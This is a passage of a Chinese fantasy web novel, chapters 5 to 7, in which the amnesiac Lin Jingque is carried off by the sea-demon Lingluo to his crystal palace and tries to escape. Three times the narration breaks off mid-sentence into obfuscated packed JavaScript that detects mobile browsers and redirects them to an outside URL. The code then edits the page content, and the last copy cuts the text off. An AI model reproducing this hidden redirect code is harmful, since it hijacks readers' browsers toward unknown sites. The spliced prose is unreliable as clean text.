笛声越来越近,也越发清晰,她感觉到前所未有的安心,笛声包裹着她,曲中的悲伤在触碰到她时被戳破,流淌出内里无法言说的幸福。 她看不见那些黑色了,黑翼女子的脸也一并消失不见。 林惊鹊缓缓睁开眼,才意识到自己不知何时竟睡了过去。 篝火余烬尚温,烧焦的木炭上还冒着缕缕灰烟。 笛声并未停歇,仍是梦里的曲调,林惊鹊循声望去,可惜天色尚晚,周围太黑,她什么也没能看见。 伊恒见她醒来便再次点燃了篝火。 “久离偶尔便会独自吹笛子,但他好像只会那一首。” 火光亮起的一瞬,林惊鹊再次分清了方向。她拨开树丛,循声望去,在更深的黑暗处,篝火的光无法点亮久离的身影。 林惊鹊只瞧见一个被风与水勾勒出的影子,他独自坐在溪边,像一张剪纸,吹着那首她无比熟悉的曲子。 那究竟是什么曲子?她为何打心眼里觉得温暖,又觉得悲伤? “很好听吧,不过久离不肯教我。” 伊恒也挤过来,声音压得极低。 林惊鹊丝毫没挪动视线: “这有什么,我教你好了。” “你也会吹笛子?” “废话,有什么可质疑的。” “什么都不记得的家伙居然会吹笛子,怎么想都在吹嘘。” 林惊鹊啧了一声,久离的笛声也跟着停了下来,她赶紧松开树丛拽着伊恒回到了篝火处,笛声果然再度响了起来。 林惊鹊自己也不知道是何原因,她想听久离吹笛子,想一直一直,一直听下去。 5. 第 5 章 林惊鹊睡不着了。 但凡阖眼,哀与那个生着黑羽的女子便轮番入梦,一个欲索她性命,一个碎嘴子似的问你怎么还活着。 二人往复不休,林惊鹊觉得自己快要精神分裂。 生生死死的事,她怎么做的了主? 轻叹一声,她自怀中取出梦中人赠予的玉简。黑翼女子与画中人重叠,羽翼流光好似活着一般。 林惊鹊翻来覆去地看那枚玉简,简直快看出朵花来。她不明白,那人究竟为何偏偏要将如此玄乎的东西交给她。 心烦意乱间正欲起身,林惊鹊忽地觉得眼前一花——那画中人似乎勾了下唇角。 久离不知何时已经回来,替了伊恒拨弄篝火。林惊鹊没再管玉简的事,眼珠一转,笑眯眯地蹭到久离身侧坐下。 摇曳的火光给久离素来没什么表情的脸上添了一层暖色,他掀睫瞧了一眼林惊鹊,低头继续拨弄篝火。 见久离不语,林惊鹊笑吟吟地开口:“久离……” 久离又看了她一眼,手上动作未停:“我在。” 看似有回应,可语气中充满了拒人千里之外的凉薄。 林惊鹊才不管他想不想搭理自己,自顾自地开口:“你笛子吹得这般好听,是师从了哪位名家呀?” 久离手上动作一顿。林惊鹊本来就是随口一问,并未期待他的回答,本以为这是他难言于口的秘密,他却只是丢掉了被烧断的树枝,起身去不远处捡了根新的,又折回原来的位置继续之前的动作。 “不记得了。”他答。 “哦。” 空气中又只剩下噼里啪啦的燃烧声。 林惊鹊咬了下嘴唇,片刻后再度开口:“yao是吧。” “你也是。” 这回答很符合林惊鹊的期待,只不过她更期待接下来这个问题的答案。 “那你知道人吗……?” 林惊鹊心知这根本算不上问题,顶多是试探。 但久离很配合她的试探。 “不曾听过。” “就是你所见那团黑雾。” “此前也未曾见过。” 不等林惊鹊继续发问,久离倒是率先开口:“面对那黑雾,你为何不觉得呼吸不畅胸腔刺痛?” 林惊鹊眨眨眼,她应该这么觉得吗?况且她压根就没看见黑雾啊。 林惊鹊思来想去,想不出个合理解释,腹中却在此时传来咕噜一声响。 她这才想起来,自己已经两天没吃过饭了。 恍惚间她似乎闻到什么香味,像六娘炖的鸡汤,还像香喷喷的玉米浆。饥饿感一旦开始便无法休止。林惊鹊好像看见六娘捧着山一样高的吃食,笑呵呵地朝她走来。 林惊鹊正对着幻象流口水,目光无意扫过火堆旁,那里不知何时架起了一个简易烤架,一只肥鸡被烤得滋滋冒油,焦香四溢。 随即她听见耳畔一声:“给你。” 林惊鹊转头,眼前正怼着那只烤鸡。 如坠美梦。久离的指尖还沾着草木灰,他见林惊鹊愣怔,又举着树枝把插在上面的烤鸡往前递:“吃饱了才有力气。” 林惊鹊毫不客气地吃光了整只鸡。骨头摆了一地,心满意足后,她才想起来忘了问那两位有没有吃过。 目光掠过仍在酣睡的伊恒,又望向不再拨弄篝火,闭着眼似是在打盹的久离。 火光不似初时那样旺,只在久离脸上笼了一圈暗淡的光。兴许睡得不深,那双垂下的眼上,睫毛正轻颤。好像他随时会抬起头,将那道锐利的目光投到林惊鹊身上。 视线往下移,久离那条毛茸茸的尾巴轻轻扫过四周。 看起来,他心情不错。 困意不知何时袭来,林惊鹊睁眼时天已蒙蒙亮。 久离和伊恒早已醒来,只剩下一脸懵的林惊鹊还坐在树下出神地盯着天边刚泛起的鱼肚白。 “还没睡醒啊?该动身了。”伊恒凑近些,在林惊鹊迷茫的眼前晃了晃手。 “去何处?”林惊鹊双眼惺忪。 “事发突然。”久离道:“哀死时不知用了何种手段,如今月华尽掩,我们得去寻彩羽一趟。” 林惊鹊瞬间清醒过来:“这又是何人,月亮没了跟他有何干系?” “大有干系!”伊恒急道:“信河殿下需依托月光方能显形,如今月光消散,他便如落进湖中的雨水一般,无处可寻了!” 林惊鹊皱眉:“那个彩羽能解决?……月亮没了,因为你们杀了哀?” “绝非如此。”伊恒咬牙切齿,“哀虽冠有月神之名,但本质也不过是妖。定是他临死前使了什么我们不知道的手段,他明知殿下离不得月光,其心可诛!” 看着伊恒如此激动,林惊鹊感觉自己被骗了。 ……战线瞬间拉长,林惊鹊心下懊恼,只觉自己当初答应得太轻率,如今像是上了一艘下不去的贼船。 要不直接溜走算了? 林惊鹊侧头望眼四周,也不知当时久离和伊恒带她跑出了多远,可如今看来还是没能离开后山。 右侧,树林茂密,枝干盘曲交错如同罗网,走入其中怕是会永远迷失逃脱无门。 左侧倒是有条平坦小路,但究竟通往何方犹未可知。 抬眼望向前方—— 正撞进久离眸中深潭。他正静静看着她,眼神平静无波,仿佛看穿了她全部心思。 林惊鹊无端感到一阵心虚,但仍未移开视线。 二人默然对视,片刻后久离开口: “后悔了?” 他声音不高,话语却清晰可闻。 林惊鹊眸光闪烁几分,掌心攥紧蛇戒。 她确动了离开的念头,但放眼四方,唯有眼前这两人似乎与她的过去有所牵连。她在山下几十个年头,好不容易等来的机会,如此轻易便放手吗? 稍加思索,林惊鹊开口道:“只要你们不临时变卦,我绝不出尔反尔。” 久离看出她心中忧虑,颔首道:“既答应了你就没有反悔的道理,彩羽住处离此地尚远,路上可以帮你打听一二。” 他抬手顺着唯一一条大路指向前方:“先穿过树丛,途径沉仙海,这一路会碰见不少村庄,你想问什么都由你。” 三人即刻启程,久离一路走在前头,伊恒和林惊鹊在后头慢悠悠地跟着。 起初林惊鹊还有力气跟伊恒说说笑笑,越往后她神情就越痛苦。 没人告诉过她这一路居然如此漫长,他们从天亮走到日上三竿,连肚子都开始叽里咕噜地叫,竟然还是没能走出这片森林。 林惊鹊抬头,只见枝桠遮天蔽日,层层叠叠如同一片巨大穹顶。她从来都不曾知晓,后山这片树林竟有如此之深。 正当她力竭,准备一屁股坐在地上,任谁说都不肯再往前走时,久离回过头来:“到海边了。” 林惊鹊确实闻到了海水的气息。彼时天气正好,阳光穿透枝叶在地上投下斑驳碎影。她歪过头,视线越过久离,果真看到不远处湛蓝的海岸线。 下一刻,时间仿若有一瞬的停滞,心跳却陡然加速。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712795|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林惊鹊觉得有些呼吸困难,脚下跟着绵软,她一把抓住伊恒手臂——她恍惚间似乎看见天色变暗,有谁笑着对她伸出手: 跟我回家吧。 那场景转瞬即逝,再抬头的时候只剩下伊恒正担忧地望向她。疼痛霎时间席卷大脑,她痛得倒吸一口气,身前紧跟着蒙上一层阴影。 林惊鹊抬眸,久离正扶着她的肩膀,银色发丝垂落拂过她脸颊,有点痒。 “我方才好像看见……”她话未说完,久离的手稍加用力,制止了她的话语。 “有妖来了。” 久离语气警惕,他话刚落,他们前行的那条路上,海边所在的方向,果然有人徐徐而来。 逆着阳光,林惊鹊看见有水汽在那人周身弥漫开来,所行之处拖出缕缕灰蓝色的水雾。 久离像是认识那人,他迅速侧过身挡在林惊鹊身前,眼神不善地盯着那团不断靠近的水雾。 雾气越来越近,也越来越能透出内里的人形。 阳光有些刺眼,林惊鹊眯起眸子看到了一位极其清秀的少年。水蓝色的长发被扎成一股绳子垂在脑后,他穿一身青冥长袍,衣襟过长遮了大半张脸,只露出那双仿佛被层层雾气掩盖,不透任何光亮的水色眼眸。 他全然忽视了久离和伊恒的存在,只将目光倾注在林惊鹊身上。 他的声音很淡,像古井内的水中落入一颗小石头: “你回来得这样迟,怎么不知会我一声?” 林惊鹊望向伊恒,又侧头确定四周再无旁人,才敢断定这人竟是在同自己讲话。 跟哀无甚区别,开口便是些熟络话语。林惊鹊一时很难读懂他所言何意,什么叫回来,什么叫知会他一声? 久离察觉到腰间一紧,不用回头便知是林惊鹊攥住了他的外袍。他无法想象她此刻是何神情,是紧张,讶异,还是如同初次见到他时那般探究。 他手臂张开着后倾,护着林惊鹊缓步后退。 伊恒同样警觉,压低了声线询问:“久离,那是……” 久离认得那人。他自海洋中来,身上带着水雾,携海底深处的一丝蓝,自出生起便被视作海妖族的珍宝。 久离眉头紧锁,声音仿佛从齿缝中挤出: “……海妖之子,绫落。” 海妖?林惊鹊望向绫落,而后者像是在等待她一般,同她对上视线时那双眼便笑弯成月牙。 绫落的的头发梳得整整齐齐,眼尾微微下垂,配上一张略短的脸,莫名给人一种毫无威胁的感觉。 呃,如果久离和伊恒没有如此警惕的话。 林惊鹊觉得自己有时候跟昏君是同一种人,都特别擅长以貌取人。 久离垂首望向她,林惊鹊眯起眼睛避开刺眼的阳光。对上他不悦的眼神,她咧嘴一笑,久离见状从鼻腔挤出一丝短促的哼声,反手扣住林惊鹊的肩膀,将她重新拨回身后。 这看似亲昵的举动全部被绫落看在眼里,他这才舍得将注意力分给久离。视线一寸寸上移,最终落在久离充满戒备的眼中。 “感谢你送她过来。”绫落摊开双手,语调转得极快,像冬天室外的潮气瞬间凝结成窗上的霜花:“恕不远送,现在你们可以离开了。” 久离沉默一瞬,轻微勾起唇角透着讥讽:“白日做梦也要有个限度。” 寒芒不知何时于他掌心汇聚成刃,他踏出半步,刀刃割开随风不断流淌过来的水雾,刀尖向前直指绫落,开口的语气如同另一柄利刃: “再靠近,我不保证它会砍在什么地方。” 6. 第 6 章 绫落垂眸,望着眼前近在咫尺的刀尖,扬起眉毛露出一副了然神情。他歪过头,视线在林惊鹊和久离之间来回游移,最终又落回林惊鹊身上: “你何时竟认识了这么不入流的妖怪?” 他讲这话的时候在笑,语气仿佛与林惊鹊早已相识多年。他望着她,眼中似有浓雾弥漫,快要流淌而出将她吞没。 短短三天而已,她竟已见到第二个貌似知晓她过去的人。可这人又不同于哀那般试探软弱,他笑得温和,一副人畜无害之相,更显得久离和伊恒的警惕有些反常。 看来此人不好对付……林惊鹊不敢轻举妄动,那人又不依不饶开了口: “为何不同我讲呢?” 林惊鹊顿觉无数条寒气顺着脊椎爬上后颈,凉得她头皮发麻。 她此时很想反驳一句,你算老几。可话卡在嘴边又说不出口。 她深知自己处境,对于过去的全然未知便等于旁人就算作假,她也无从而知。让久离和伊恒得知她失去记忆已算致命弱点,若是再多一个,她不敢承担这种随时会被背刺的风险。 她还记得那个日日困扰她的梦,梦里一众人不惜杀了她也想要那个东西。 已经有了哀作为前车之鉴,她不敢赌。 所以,林惊鹊动了下唇角,道:“你也太不关注我了,我以为你知道。” 绫落明显一愣,随即低笑出声,连肩膀都在微微耸动。他提指弹开刀刃,连水汽都变得粘稠,她看见绫落的瞳孔收缩成竖线,身形一晃竟化作水珠消失在原处。 下一瞬,他突然出现在林惊鹊眼前。 林惊鹊有片刻惊异,想都没想立即旋身踢去。 脚尖触碰到他身体的瞬间让林惊鹊慌了神,他竟顺势再度散成水珠,向前飘飞意图将林惊鹊整个包裹起来。久离闪身以刀回挡,一把将林惊鹊推出好远:“伊恒,带她走!” 林惊鹊没看清久离究竟是用了何种剑法,绫落竟被逼得显形。他顿住脚步,几乎竭尽全力才得以后撤。剑光擦过他脸侧,割下一缕碎发化作泡沫消散。他费力稳住身形,难以置信地抹开脸颊边的血迹:“你何时变得这么强了?” 绫落没有得到回答,他还没有缓回气息,迎面又是不给他反应机会的刀光剑影。 “原因与你无关,杀你绰绰有余。”久离举高刀刃,杀意尽显。 伊恒明白久离的意思,他手疾眼快,在久离冲出去与绫落交手的瞬间便拽紧林惊鹊的手腕,飞速逃离现场。 林惊鹊短呼一声,只见伊恒背上竟生出一对黑色双翼,他换了个姿势将她拦腰抱起,一个俯冲便飞出去好远。 来不及震惊,林惊鹊大声询问:“久离怎么办?” “久离很强的,我们先离开再说!” 确实很强,林惊鹊侧过头,远远看见绫落只有躲避的份儿。 然而,事情好像不太对劲。 她额角流下一滴冷汗,明明他们已经拉远距离,连久离他们的身影都看不见了。但那水雾却像是跟踪一般弥漫过来,就在她触手可及的距离。 林惊鹊的担忧在短短半秒后便得到应验。“等久离解决……”伊恒的话只讲了一半,水雾之中陡然伸出一只手,死死钳住了林惊鹊的手腕。 她忙抬手劈砍,可另一只手竟也被瞬间钳制! 伊恒意识到此时情形,只可惜绫落速度实在太快。他刚想回身,绫落已然钻出水雾,狠狠踹上了他的后腰。 完了。林惊鹊心道不妙。不出所料,下一刻她便在天旋地转之中被拽进另一个怀抱。她眼睁睁看着伊恒像片被风卷起的枯叶一般翻滚出去,身躯擦过地面,扬起一阵尘沙。 她抬腕欲挣扎,可全身的力气都被身后人化了力道。水雾越来越浓,林惊鹊的心脏狂跳不止,眼前也一片模糊。周遭声响听不真切,她感觉自己像是悬在空中而无所凭依。 她不由自主地去想,前几日哀死了,难道今天久离和伊恒就会步了他的后尘? 报应是不是太快了些? 绫落不再理会失去战斗力的伊恒,低眸一瞬流露出旁人难以察觉的温柔,继而转头望向不远处挂着一副吃人表情的久离。 绫落依旧带着笑意,久离提刀的手上青筋暴起。 下一瞬,白色身影突袭,以几近破风的速度直奔绫落而来。后者脚尖点地不断后撤,手一挥便是一幕水汽遮掩半空。 “别以为你想要什么都能得到。” 那声音中满是讥笑,说罢他面前凭空涌出更多水雾,弥散开来将二人包裹其中。久离挥刀将其劈开,可消散的水雾后空无一人。 绫落竟然就这么带着林惊鹊离去了。 “……怎么办久离。”伊恒抹去嘴角崩裂的血迹,摇摇晃晃地从地上爬起来。 久离没回答,掌中利刃被捏得粉碎,化作点点光尘,随风飘散。 再度睁眼,映入林惊鹊眼帘的仍是那片繁盛如烟的紫丁香。 与先前梦境无二,风过处香气缭绕,大片朦胧的紫色在空中飘荡。 那个看不清容貌的人依旧坐在花丛中央,广袖轻挥,便带起一片流萤般的光点。 林惊鹊脑中莫名冒出一个念头:死人和神仙都爱托梦。 那眼前这位,究竟是已逝之人,还是天上仙? 她走近几步,对方带着歉意开口:“抱歉,这是我唯一能见到你的方式。” “为何?” “苦衷,难言,不可言。”那人苦笑,抬手在颈前轻轻一横,做了个斩首的手势。 “说句话也要掉脑袋?”林惊鹊觉得有些好笑,她想起正事,从衣襟内取出那枚鎏金玉简,递到对方面前: “这东西究竟有何用处?我拿了它之后便做了噩梦,你总得给我个必须留下它的理由。” 梦中人并未伸手,虽看不见她的脸,但林惊鹊仍然觉得她大概是在注视这枚玉简,许久后她轻声笑道: “林惊鹊,倘若一直以来你身边都存在着一个令你无比信任的挚友,而某一天,她杀掉了你,你会原谅她吗?” 林惊鹊捏着玉简的手微微一滞。 她皱紧眉头,盯着对方脸上不断变幻的花影,试图从中读出些许线索。 “不会有这种事发生。”她回答得干脆,没有解释缘由。 梦中人颔首,并未追问,只是轻声道:“只要你能接受过去,你所触碰的一切,自会引你归途。” 云里雾里,不如聊点现实:“那他们想要的究竟是什么?我从未觉得自己身上有什么值钱宝贝,那个梦是什么意思?他们是什么意思?” 林惊鹊的目光紧紧锁在她脸上,忽而狂风起,大片紫香狂掠而过带起二人衣摆纷飞:“你又是什么意思?” 那人脸上的花影极速变换,她道:“扪心自问,解铃环需系铃人。” 林惊鹊被这话惹得脑袋生火:“什么人什么铃?一帮神经病有求于人还不说清楚,我怎么知道?谜语猜来猜去你们就不能说人话吗?” 那人还是笑:“纵使你不愿如此,也还是被拉进了漩涡,此刻渡他便是渡己。但愿下次相见,你已脱离苦海……” 她说话间,身影越来越淡,可林惊鹊还有许多话想问,她追上前欲将这人挽留下,伸手一抓,只抓到天花板上虚虚飘荡的水波纹 这是哪……? 林惊鹊侧头望向四周,入眼之处是全然陌生的房间布置,房内几乎没什么摆设,唯有水晶占了房内所有物件。水晶烛台,水晶长桌……连墙壁都是水晶打造。 这是太有钱,还是太喜欢水晶。屋内光线昏暗,仅凭几盏纱灯闪烁,便足够让林惊鹊头晕目眩。 指尖扶住额角,脑中传来的钝痛并未缓解,她倒吸一口凉气,脑海中霎时闯入一些并不连贯的画面。 同样是这间屋子,光线似乎要明亮得多。她独自一人坐在地上,仰头望着面前紧闭的大门,听到外头传来一声: 小鹊,等我回来。 于是她便一直等。等到一觉睡醒,等到屋里没有一点光亮,等到门外又响起脚步,可还是没等到大门打开。 她走到门边,手心贴上冰冷的门扉,内心竟升起一股难以言喻的,被遗弃的恐惧感。 这是她的记忆吗,她曾在这地方待过? 林惊鹊晃晃脑袋,意图看清更多画面,可脑中的影像逐渐暗淡。视线跟着下移,她看见绫落正撑着手肘,守在床边小憩。 脑中画面全部消散,记忆如潮水回笼。林惊鹊心底猛地一沉,该死,伊恒那个混蛋不是说久离很强吗?!现在又是什么情况! 她强行压下所有翻涌的懊恼与愤怒。眼下情况不容乐观,她不知这绫落是什么脾性,也不知他意欲何为,轻举妄动的代价可能是自寻死路。 可细细想来,这也不算完全的坏事。 这几日下来,林惊鹊对自己的过去已经有了个模糊的画像。 某样珍贵的东西曾被她带走,林惊鹊没法确定那东西是她偷的还是本来就属于她。她只清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712796|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那东西应该不在她身上。目前看来,追寻此物的组织不小于两个。她应当是因此惹怒了不少人,久离和伊恒会不会在找到那件东西之后对她不利,也尚未可知。 所以,她必须比其他人更快找出那个东西的去向才行。 林惊鹊再次望向绫落。 这家伙暂时还没有暴露目的,不排除是接触时间过短,但林惊鹊觉得大概率还是同“那件东西”有关。 可那件东西到底是什么? 正当她思绪纷杂,不断在所剩不多的记忆中搜寻时,绫落醒了过来。 四目相对,空气凝滞了一瞬。 “你醒了?可有哪里不舒服?要不要传医官?” 那双水眸倏地靠近,龙涎香混着深海特有的冷冽气息侵袭而来。他语气里的关切绷得太紧,甚至眼尾都晕开些许不自然的赤色。 又来了。这故作熟稔的开场,简直跟哀是同一个戏班子里出来的。怎么,这些yao连演戏的台词都是找同一个师父教的? 林惊鹊腹诽,本能后仰。一只冰冷的手掌却已覆上她的额头。 那温度着实不像活人。 “瞧你脸那么红,我还以为你害了热病。” 他眼睛弯弯,声音极柔,移开手,转而将林惊鹊的攥进掌心。 林惊鹊下意识便想抽手,却被对方更紧地扣住。绫落迫近些许,眉间皱起的是这许多年来都化不开的霜雪: “小鹊,我一直都在等你回来,这一等便是许多年。你为何从来都不回来看看我?” 离得实在太近了,林惊鹊一抬眸就撞进绫落眼中翻涌的雾气。她身后已经没了再后退的空间,脊背靠在水晶墙上,又硬又冷。 一股极其厌烦的情绪涌上心头,甚至暂时压过了想要糊弄绫落的念头。 她死死盯着绫落的脸,他又想要什么?他们到底把她摆在了什么位置?他们渴望的,指责的,究竟是现在的她,还是那个她毫无记忆的过去? “可是哪里不舒服?久离对你做什么了?”绫落似是察觉出异常,声音愈加急切。 林惊鹊没有回应。她的目光细细瞧过绫落脸上的每一寸肌肤,试图从那片温柔中分辨出一丝伪装的裂痕。 可他装得实在太好了。 线索太少,真假难辨。但坐以待毙,必死无疑。 她垂下眼帘,再抬起时,目光中只剩下孤注一掷的平静。 “……我曾经跟六娘生活在村子里,她一直照顾我,”她开口,声音有些哑却异常清晰,“我这条命是她给的。” 她直直望着绫落的眼睛,而绫落沉默地坐在床沿,等她说完才问: “是从我这里离开之后的事吗?” “不。”林惊鹊没有眨眼,斩钉截铁地说:“我一直生活在那里。” 她话音刚落,立刻察觉到攥着她的那只手力道骤然收紧,冰凉的指节几乎要嵌进她的手腕。 空气陷入短暂的死寂。 片刻之后,绫落才极轻地笑了一声,那笑声里听不出喜怒。 “怎么可能,你此前明明和我……” 他话说了一半,尾音突然微妙地拖长。那双雾蒙蒙的眼中蓦然掠过一丝光亮,可他语气仍旧平静,声音压得很低,像从极深的海底传来: “没关系。记忆会欺骗你,海水会冲掉海底的所有痕迹。但有些东西一旦存在,便永远都无法丢掉。你若忘了,我便一天一天,一年一年地讲给你听。讲到这片海枯了,石烂了,讲到你愿意想起来为止。” 愿意两个字被他咬得缓慢而清晰,林惊鹊心脏一沉,像是被那温柔话语里裹挟的刺扎了个对穿。 “我确实在等你……”他微微倾身,语气温柔得令人脊背生寒:“无论你愿意与否,无论你去向何处,我一直在这里,等你。” 好沉,好深的誓言。那双眼中流淌而出的浓雾几乎要将林惊鹊淹没,他依旧在笑,他说的话根本不容置疑。 林惊鹊闭上眼睛强迫自己镇定下来。 如果可以,她当真想把这人狠狠揍一顿。 她压下心悸,再抬眼时,换上一副略带玩味的神情。她轻轻啧了一声,声音很小:“等这么久……” “既然如此,公子,能否先谈点眼前的?”她转回头,目光平静甚至带点理所当然地看着他,说出了此刻最无可辩驳的一句话: “我饿了。” “就算要等到海枯石烂,”她补充道,语调里听不出情绪,“总得先让人吃饱吧?” 7. 第 7 章 绫落对此并未显露丝毫意外。 他起身拍了拍手掌,玄玉长案便已摆开。鲛人侍女鱼贯而入,个个手中捧着琉璃盏,将各色珍馐铺陈开来。 绫落将林惊鹊扶至案前,含笑说道: “早知你该饿了,这些都是按你口味准备的吃食,尝尝看,这么多年过去,可还合你心意?” 林惊鹊几乎看花了眼。满桌美食,见过的没见过的琳琅满目。虾仁蒸蛋,鲈鱼脍片,凉拌海草……香气氤氲间,林惊鹊脑子里就剩一个念头。 她一定要吃。 绫落一口未动,只静坐在一旁,注视着她大快朵颐。林惊鹊毫不拘谨,发现他正在瞧着自己,反而吃得更起劲了。 待她吃饱喝足放下筷子,已经是半个时辰之后。绫落挥挥手,又是一群侍女翩然而至,不由分说将她搀起,朝屏风后带去。 “你们做什么?” 林惊鹊挣扎着喊道,可惜侍女们一个个绷着一张脸,并无一人回应。 数十套衣裙层层铺展,她还没看清样式,便被蒙头换了一件又一件。 片刻之后,屏风撤下,侍女们姗姗离去,只留林惊鹊独自立在原地,身着一袭流光溢彩的鲛绡长裙,怔怔发愣。 她难以想象自己方才经历了什么。只觉得呼吸好像停了几刻。 她抬头迎上绫落投来的目光,依旧平静,依旧温和,仿佛先前同久离对峙的并不是他一样。 可他为何要如此? 仅仅是为了让她留下? 绫落似乎看穿了她的疑虑,他勾唇轻笑。绫惊鹊的眉头锁得更紧,正欲直接骂他有病,却又被几个侍女轻拉着按到了梳妆台前。 “这又是做什么!我没说过要梳妆啊!” 可惜抗议毫无作用。侍女众多,将她四肢稳稳按住,林惊鹊挣扎不得,只能作罢。 直到她目光终于落向那面铜镜,她几乎不敢相信自己看见了多么夸张的一幕。 这些侍女怕不是师从瓦匠,要么就是海妖全是瓦匠。否则她头顶怎么凭空多出一栋阁楼?!各式发饰,不管金的银的,或是她连见都没见过的,全都缀在她发间。她此时若是去集市走一趟,怕是全城的姑娘都能从她头上找到心仪的首饰。 太重了。 林惊鹊深呼一口气,正欲将满头珠翠尽数取下。手指刚碰到额上珠宝,绫落按住了她的手。 “年幼时,你连族群的镇海冰晶都想拿过来串成项链,如今,我把整个域外的宝石都拿来给你,”绫落的声音越来越低,按住变作了紧攥,他拉着她的手离开头顶,重重扣在桌面上,“你是不想要了,还是,喜欢上别的东西了?” 话语几近质问。他靠得太近,吐息冰冷,林惊鹊没有抬头,透过镜面,她清楚看见绫落正以何种眼神看着自己。 贪恋,占有,毁灭。 一种不知从何而起的情感,自他那双总是蒙着雾气的眼中汹涌而出。像无声游来的蛇,缠上她的四肢,企图将她绞死在温柔深海。 林惊鹊几乎只能听见自己震耳的心跳。她不得不承认,她害怕了。 她怕自己逃不出去,怕永远找不回记忆,怕就这样浑浑噩噩度过此生。 她必须想个办法。 绫落似乎察觉到她的目光,倏然侧目,自镜中对上林惊鹊直视的双眼。 林惊鹊的呼吸颤了又颤才终于缓缓平复:“你也说是许多年了,口味会变,喜好会变,浑身上下哪都会变,没有谁会始终是最初的模样。” 绫落没有说话,眼中的情绪有所收敛,他松开手,向后退了一步。 “那你现在喜欢什么?” “喜欢外面。” “你以前也……” “现在,我喜欢外面。” 绫落的话戛然而止,他凝视着镜中林惊鹊毫无表情的脸,沉默良久,低声道: “你累了,早些休息,明日我再来看你。” 说罢,他头也不回地离去。 林惊鹊闭上眼,过了许久也没能平复心中焦躁。 屋内一片死寂,绫落离开后没能将他身上温和的窒息感一并带走。他的身影仿若融化在空气里,周遭充斥着他的视线,林惊鹊觉得自己的一举一动都在被他监视。 不能再待下去了。林惊鹊确信绫落不可能放她离开,那她就只能抓紧所有机会,哪怕只有一丝逃出去的可能。 她贴着门缝向外窥视。门外竟空无一人。 这反常的松懈反叫她迟疑了一瞬。绫落是笃定她逃不掉,还是请君入瓮? 林惊鹊攥了下拳,又深呼几口气。 她小心推开门,赤足踏过冰凉的青玉砖,弯腰疾行穿过回廊。廊内空荡荡,悬着几只昏暗的纱灯。本该有侍卫戍守的位置此时却空无一人,长长一条回廊仅有几盏烛火滴着蜡泪。 殿内水波越摇越暗,她终于望见白玉砌成的宫门。林惊鹊心中刚升起一丝希望,可待她提着鞋奔到跟前,整个人却怔在原地。 宫门之外,并非预想中的道路。重重叠叠的琉璃阁楼拔地而起,错综复杂地交织成一片无边无际的城池。无数条街道、回廊、拱桥在楼宇间蜿蜒穿梭,一眼望不到尽头。 “这到底是什么鬼地方……” 林惊鹊缓步向前走,她难以置信地张大嘴巴。眼前的一切超出了她的认知,常世间不可能存在倒悬在天上的楼宇,纱灯也不该如同星星一般挂在天上。 她现在真的活着吗?还是说已经在去往极乐的路上? 身心沉浸在如此奇观中无暇顾及其他,屋檐下的铃铛却在此时发出阵阵嗡鸣细响,融进水里,空灵得令人心慌。 林惊鹊这才回过神来。 对了,此时重要的是尽快出逃。 她胡乱扎起散落的青丝,寻了个看似一路通往远方的岔路便往里钻。一个拐角,两个拐角……街道寂静得可怕,两旁的建筑瑰丽却毫无生气。 不知跑了多久,当她又一次瞧见被自己丢在地上做记号的珠钗时,一股寒意才终于从脚底窜上头顶。 路不算复杂,可这整座城似乎都在和她作对。它在无声地戏弄她,无论林惊鹊怎么选,最终都会回到原点。 绫落……林惊鹊将他的名字咬在齿间,恨不得将他整个人就此嚼碎。 该死的。林惊鹊将头顶珠翠扔了满地,她提起裙摆,不顾一切地狂奔起来。鲛绡裙摆缠住小腿,她便弯下腰用力将其撕碎。 这下没有什么再能绊住她了,她继续往前跑。相同的街景、相同的拱桥、相同的楼宇,如同噩梦般循环往复。 他是故意的。林惊鹊想,他铁了心要嘲弄她,想将她的意志碾碎。 算你厉害。林惊鹊对着殿门咬牙,任命般起身,拖着灌铅的双腿,沿着来时路返回。 绫落并未再出现,房间内也没有他来过的痕迹。林惊鹊不顾满身疲惫,蹲在寝殿里到处搜查。 她以前看过话本,大户人家的房间几乎都有暗门。 她从门口搜到床下,暗门没搜到,倒是在靠近床榻的墙边找到一处涂鸦。 黑色墨迹已有褪色的迹象,两个高一些的孩童站在两边,矮些的小女孩站在中间牵着他俩的手。 林惊鹊的手指抚过墙砖,墨色似乎早已与其融为一体,成了这海妖宫的一部分。 “这是你,我,还有绫落哥哥。” 脑中突兀响起一道稚嫩的童声,紧接着是另一个人的声音:“小鹊,绫落很忙,我们不可以总去打扰他。他以后可是要当海妖王的,我来陪你,好不好?” 林惊鹊眉头紧蹙,谁?谁在说话? 她慌张抬眼,望向身侧,这偌大房间内,仅有她一人而已。 绫落翌日一早便出现在林惊鹊房外,脸上仍旧挂着那副无懈可击的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 